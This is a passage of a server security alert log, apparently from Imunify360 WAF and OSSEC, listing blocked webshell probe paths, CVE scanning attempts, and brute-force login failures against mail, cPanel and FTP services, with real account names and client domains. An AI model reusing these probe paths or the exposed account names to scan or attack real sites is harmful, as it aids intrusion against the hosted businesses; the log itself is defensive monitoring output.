plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/jquery.easy-pie-chart/img/demos/master/style-switcher/news.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.222.72.182
country_id: 1814991
description:
2026-01-30 16:26:57 dovecot_login authenticator failed for H=([58.222.72.182]) [58.222.72.182]:41568: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.185.29.233
country_id: 3469034
description:
2026-01-30 16:27:14 dovecot_login authenticator failed for H=(corporativo.static.gvt.net.br) [179.185.29.233]:60896: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.204.130
country_id: 2017370
description:
2026-01-30 16:27:02 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [213.33.204.130]:47810: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/jquery.easy-pie-chart/img/demos/master/style-switcher/new-development.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.81
country_id: 1269750
description:
2026-01-30 16:28:26 dovecot_login authenticator failed for H=(nsg-corporate-81.230.187.122.airtel.in) [122.187.230.81]:57702: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/img/photos/vendor/magnific-popup/news.php||SC:/home2/pspolycom/public_html/js/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.50
country_id: 1269750
description:
2026-01-30 16:28:56 dovecot_login authenticator failed for H=(aes-static-089.153.22.125.airtel.in) [182.95.119.50]:60484: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-01-30 16:29:04 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:54471: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.167.48.130
country_id: 2017370
description:
2026-01-30 16:29:39 dovecot_plain authenticator failed for H=(medewedly) [5.167.48.130]:44566: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.63.220.210
country_id: 1814991
description:
2026-01-30 16:29:55 dovecot_login authenticator failed for H=([183.63.220.210]) [183.63.220.210]:58160: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/master/style-switcher/vendor/bootstrap/js/img/photos/news.php||SC:/home2/pspolycom/public_html/js/master||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.242.220.232
country_id: 2921044
description:
2026-01-30 16:29:37 dovecot_login authenticator failed for H=232.220.242.35.bc.googleusercontent.com (10.156.0.2) [35.242.220.232]:64167: 535 Incorrect authentication data (set_id=iliyas@maalloys.com.my)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 34.140.71.81
country_id: 2802361
description:
Jan 30 16:29:45 sv3 pure-ftpd[3139013]: (?@34.140.71.81) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.101.146
country_id: 1269750
description:
2026-01-30 16:29:11 dovecot_login authenticator failed for H=(aes-static-217.70.22.125.airtel.in) [27.123.101.146]:52372: 535 Incorrect authentication data (set_id=marketing)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/symfony/http-kernel/Tests/DataCollector/Compiler.log||User:visoftcom||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 16:30:38 H=(localhost.localdomain) [45.150.192.143]:60728 F=<info@kapkenya.org> temporarily rejected RCPT <info@mkmetal.com.my>: Could not complete sender verify


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/jquery.easy-pie-chart/img/master/style-switcher/news.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.37.179.83
country_id: 3932488
description:
2026-01-30 16:30:10 dovecot_login authenticator failed for H=([200.37.179.83]) [200.37.179.83]:48006: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.250.44.123
country_id: 1643084
description:
[2026-01-30 16:30:50 +0800] info [cpaneld] 180.250.44.123 - adssadadsa "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user adssadadsa (has_cpuser_file failed)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/druma_photos/csr.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77350639
name: IM360 WAF: Suspicious access attempt to WordPress debug.log (CVE-2024-44000)
abuser: 45.156.129.172
country_id: 2264397
domain: astlog.com.my
description:
IM360 WAF: Suspicious access attempt to WordPress debug.log (CVE-2024-44000)||MV:/wp-content/plugins/litespeed-cache/readme.txt||WPU:||RSV:7.69||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.178.120.157
country_id: 1831722
description:
[2026-01-30 16:31:40 +0800] info [cpaneld] 202.178.120.157 - kik! "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/img/master/style-switcher/index.php||SC:/home2/pspolycom/public_html/js/examples/img||


plugin: modsec
rule: 77350197
name: IM360 WAF: Essential Addons for Elementor < 5.7.2 - Vulnerable version discovery (CVE-2023-32243)
abuser: 45.156.129.174
country_id: 2264397
domain: astlog.com.my
description:
IM360 WAF: Essential Addons for Elementor < 5.7.2 - Vulnerable version discovery (CVE-2023-32243)||RSV:7.69||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.178.120.157
country_id: 1831722
description:
[2026-01-30 16:32:08 +0800] info [cpaneld] 202.178.120.157 - mkmetalc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.248.47.114
country_id: 6252001
description:
2026-01-30 16:32:26 dovecot_login authenticator failed for H=(syn-172-248-047-114.res.spectrum.com) [172.248.47.114]:44352: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.194.190
country_id: 1269750
description:
2026-01-30 16:33:00 dovecot_login authenticator failed for H=([128.185.194.190]) [128.185.194.190]:47504: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.63.140
country_id: 3017382
description:
2026-01-30 16:32:49 dovecot_login authenticator failed for H=(ADMIN) [156.146.63.140]:25018: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.39.216.10
country_id: 1814991
description:
2026-01-30 16:32:51 dovecot_login authenticator failed for H=([120.39.216.10]) [120.39.216.10]:33700: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.110.136
country_id: 1668284
description:
2026-01-30 16:32:36 dovecot_login authenticator failed for H=110-25-110-136.adsl.fetnet.net [110.25.110.136]:55932: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpoffice/phpexcel/Documentation/assets/ClassDiagrams/ClassDiagrams.csproj||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.61.137
country_id: 1562822
description:
2026-01-30 16:32:50 dovecot_login authenticator failed for H=([171.244.61.137]) [171.244.61.137]:55611: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/master/style-switcher/img/demos/vendor/magnific-popup/new-development.php||SC:/home2/pspolycom/public_html/js/master||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/symfony/finder/Tests/Fixtures/r+e.gex[c]a(r)s/dir/bar.dat||User:visoftcom||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 16:33:58 H=(localhost.localdomain) [45.150.192.143]:34556 F=<info@kapkenya.org> temporarily rejected RCPT <astpkg@astlog.com.my>: Could not complete sender verify


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/img/vendor/jquery-cookie/master/style-switcher/clientele.php||SC:/home2/pspolycom/public_html/js/img||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 34.140.203.250
country_id: 2802361
description:
Jan 30 16:34:34 sv3 pure-ftpd[3146725]: (?@34.140.203.250) [WARNING] Authentication failed for user [anonymous]


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/jquery.gmap/master/style-switcher/img/photos/news.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 34.140.203.250
country_id: 2802361
description:
Jan 30 16:34:28 sv3 pure-ftpd[3146718]: (?@34.140.203.250) [INFO] New connection from 34.140.203.250


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.161.72.69
country_id: 1269750
domain: langkawiconstructions.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:13415.langkawiconstructions.com||ServerName:langkawiconstructions.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c586f3ae5316f35314b5d6cd2498d8ba81b6a6e6||Title:0xe6a5852d||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/jquery.easing/master/style-switcher/img/photos/news.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.137.66.82
country_id: 1835841
description:
2026-01-30 16:35:18 dovecot_login authenticator failed for H=([125.137.66.82]) [125.137.66.82]:1916: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 180.75.72.60
country_id: 1733045
description:
[2026-01-30 16:35:29 +0800] info [webmaild] 180.75.72.60 - pr@smartcable.com.my "GET /cpsess9084765842/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.193.112.85
country_id: 6252001
description:
2026-01-30 16:35:49 dovecot_plain authenticator failed for H=c-98-193-112-85.hsd1.il.comcast.net (unctony) [98.193.112.85]:36642: 535 Incorrect authentication data (set_id=marina@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.128.162.146
country_id: 1814991
description:
2026-01-30 16:35:42 dovecot_login authenticator failed for H=([27.128.162.146]) [27.128.162.146]:45598: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 16:36:56 H=(localhost.localdomain) [45.150.192.143]:38298 F=<info@kapkenya.org> temporarily rejected RCPT <celine@ktlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.59.106.222
country_id: 1269750
description:
2026-01-30 16:36:57 dovecot_plain authenticator failed for H=(15WC133) [103.59.106.222]:27485: 535 Incorrect authentication data (set_id=aipeng@fimco.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/jquery.lazyload/master/style-switcher/img/demos/news.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.245.210.70
country_id: 1814991
description:
2026-01-30 16:36:43 dovecot_login authenticator failed for H=(70.210.245.58.adsl-pool.jlccptt.net.cn) [58.245.210.70]:24225: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.183.221.168
country_id: 6252001
description:
2026-01-30 16:37:47 dovecot_login authenticator failed for H=wsip-70-183-221-168.br.br.cox.net [70.183.221.168]:53026: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-30 16:37:55 dovecot_login authenticator failed for H=(host-64-72-74-162.lightower.net) [64.72.74.162]:60299: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 113.30.190.49
country_id: 2921044
description:
2026-01-30 16:37:30 H=([113.30.190.49]) [113.30.190.49]:61472 F=<administrator@mkmetal.com.my> rejected RCPT <info@mkmetal.com.my>: Sender verify failed


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.185
country_id: 2750405
description:
2026-01-30 16:37:31 996853 [Warning] Aborted connection 996853 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.185' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/img/master/style-switcher/vendor/jquery/new-development.php||SC:/home2/pspolycom/public_html/js/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-01-30 16:37:39 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:60325: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.82.135.154
country_id: 1814991
description:
2026-01-30 16:37:52 dovecot_login authenticator failed for H=([1.82.135.154]) [1.82.135.154]:35847: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.59.106.222
country_id: 1269750
description:
2026-01-30 16:37:03 dovecot_login authenticator failed for H=(15WC133) [103.59.106.222]:27485: 535 Incorrect authentication data (set_id=aipeng@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.158.138.179
country_id: 1269750
description:
2026-01-30 16:38:32 dovecot_login authenticator failed for H=([103.158.138.179]) [103.158.138.179]:41010: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.114
country_id: 1819730
description:
2026-01-30 16:38:48 dovecot_login authenticator failed for H=(223-197-145-114.static.imsbiz.com) [223.197.145.114]:49547: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/jquery.validation/img/demos/new-development.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.222.47
country_id: 2017370
description:
2026-01-30 16:38:18 dovecot_login authenticator failed for H=([178.178.222.47]) [178.178.222.47]:55210: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.248.47.114
country_id: 6252001
description:
2026-01-30 16:38:21 dovecot_login authenticator failed for H=(syn-172-248-047-114.res.spectrum.com) [172.248.47.114]:52956: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.104.254.92
country_id: 3865483
description:
2026-01-30 16:38:12 dovecot_login authenticator failed for H=(static.90.254.104.190.cps.com.ar) [190.104.254.92]:57008: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-01-30 16:38:22 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:34566: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/master/style-switcher/vendor/vivus/img/contact-us.php||SC:/home2/pspolycom/public_html/js/examples/master||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-01-30 16:39:35 dovecot_login authenticator failed for H=([175.180.129.87]) [175.180.129.87]:43196: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/vivus/master/style-switcher/img/demos/contact-us.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 16:40:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53370: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 210.186.161.1
country_id: 1733045
description:
[2026-01-30 16:40:46 +0800] info [webmaild] 210.186.161.1 - aina.shamira@sutsb.com.my "GET /cpsess5932282221/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [203.106.96.63] != Current IP Address [210.186.161.1]


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/jquery.easy-pie-chart/img/contact-us.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-30 16:41:11 H=([45.144.212.50]) [45.144.212.50]:56586 F=<waikeong.poon@seatrium.com> rejected RCPT <khim@ktlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from seatrium.com


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 112.201.194.142
country_id: 1694008
domain: langkawiconstructions.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:98779.langkawiconstructions.com||ServerName:langkawiconstructions.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:67dcf2ecb2b768e2fe5eb0c81838215d61134603||Title:0xb343be0b||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/master/style-switcher/vendor/jquery.gmap/img/photos/news.php||SC:/home2/pspolycom/public_html/js/examples/master||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/img/master/style-switcher/vendor/jquery/clientele.php||SC:/home2/pspolycom/public_html/js/img||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 180.75.85.164
country_id: 1733045
description:
[2026-01-30 16:43:05 +0800] info [webmaild] 180.75.85.164 - pft_rnd@pftfood.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.138.245.58
country_id: 1733045
description:
[2026-01-30 16:44:01 +0800] info [webmaild] 175.138.245.58 - mag@symphony-led.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/master/style-switcher/vendor/isotope/img/index.php||SC:/home2/pspolycom/public_html/js/examples/master||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.6.108.13
country_id: 1814991
description:
2026-01-30 16:44:03 dovecot_login authenticator failed for H=([119.6.108.13]) [119.6.108.13]:59571: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/symfony/translation/Tests/fixtures/resourcebundle/dat/resources.dat||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.36
country_id: 1269750
description:
2026-01-30 16:44:35 dovecot_login authenticator failed for H=([122.187.229.36]) [122.187.229.36]:46744: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.141.143.58
country_id: 1835841
description:
2026-01-30 16:45:39 dovecot_login authenticator failed for H=([115.141.143.58]) [115.141.143.58]:45084: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.118.110
country_id: 1733045
description:
2026-01-30 16:45:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.118.110]:47920: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/img/vendor/magnific-popup/contact-us.php||SC:/home2/pspolycom/public_html/js/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-01-30 16:45:46 dovecot_login authenticator failed for H=([218.106.120.18]) [58.49.113.138]:17197: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.154
country_id: 1269750
description:
2026-01-30 16:45:48 dovecot_login authenticator failed for H=(nsg-corporate-154.230.187.122.airtel.in) [122.187.230.154]:43907: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.66.222
country_id: 2017370
description:
2026-01-30 16:45:48 dovecot_login authenticator failed for H=([31.173.66.222]) [31.173.66.222]:51256: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.63.50
country_id: 1269750
description:
2026-01-30 16:45:53 dovecot_login authenticator failed for H=([182.95.63.50]) [182.95.63.50]:48686: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-30 16:45:24 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:33520: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.182.194
country_id: 1269750
description:
2026-01-30 16:45:44 dovecot_login authenticator failed for H=([125.19.182.194]) [125.19.182.194]:49300: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/rs-plugin/js/master/style-switcher/img/contact-us.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 16:46:13 H=(localhost.localdomain) [45.150.192.143]:46840 F=<info@kapkenya.org> temporarily rejected RCPT <inquiries@ktlog.com.my>: Could not complete sender verify


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.143
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/revolution/css/settings.css HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.130
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/css-hamburgers/hamburgers.min.css HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.151
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/revolution/css/layers.css HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
